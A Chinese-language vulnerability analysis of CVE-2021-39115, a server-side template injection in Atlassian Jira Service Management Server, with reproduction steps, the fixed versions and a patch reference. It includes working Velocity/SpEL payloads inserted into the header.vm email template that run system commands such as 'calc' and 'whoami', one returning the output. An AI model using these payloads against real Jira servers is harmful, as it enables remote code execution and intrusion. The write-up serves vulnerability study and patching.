CVE-2021-39115-Atlassian Jira Service Management Server SSTI漏洞分析
字数 877 2025-08-03 16:42:24
Atlassian Jira Service Management Server SSTI漏洞分析 (CVE-2021-39115)
漏洞概述
CVE-2021-39115是Atlassian Jira Service Management Server中的一个服务端模板注入(SSTI)漏洞,影响以下版本:
- 版本 < 4.13.9
- 4.14.0 ≤ 版本 < 4.18.0
该漏洞需要Jira Administrator权限才能利用,通过Email Templates功能点中的Velocity模板引擎实现注入。
漏洞复现步骤
环境准备
- 安装Jira Service Management 4.17.1版本
- 配置SMTP服务器
利用过程
- 使用管理员账户登录系统
- 进入
system/EmailTemplates下载当前模板 - 修改并替换
header.vm文件,插入恶意代码
攻击载荷示例
基础验证:
$jirautils.loadComponent('java.lang.Runtime',$i18n.getClass())
SPEL表达式注入执行命令:
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()
带回显的命令执行:
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())").getValue()
- 进入
System/SendEmail发送邮件 - 选择邮件用户并发送
- 接收邮件查看执行结果
技术分析
- 漏洞位于Email Templates功能中,利用Velocity模板引擎
- 通过
jirautils.loadComponent方法加载恶意类 - 利用Spring框架的SpEL表达式注入实现RCE
- 关键类:
org.springframework.expression.spel.standard.SpelExpressionParser
修复建议
-
升级到不受影响的版本:
- 4.13.9或更高版本
- 4.18.0或更高版本
-
官方补丁参考:https://jira.atlassian.com/browse/JSDSERVER-8665
后记
该漏洞的发现需要:
- 通过补丁对比方法定位关键类
- 寻找
loadComponents功能函数 - 理解Velocity模板引擎的工作机制
参考链接
- 官方通报:https://jira.atlassian.com/browse/JSDSERVER-8665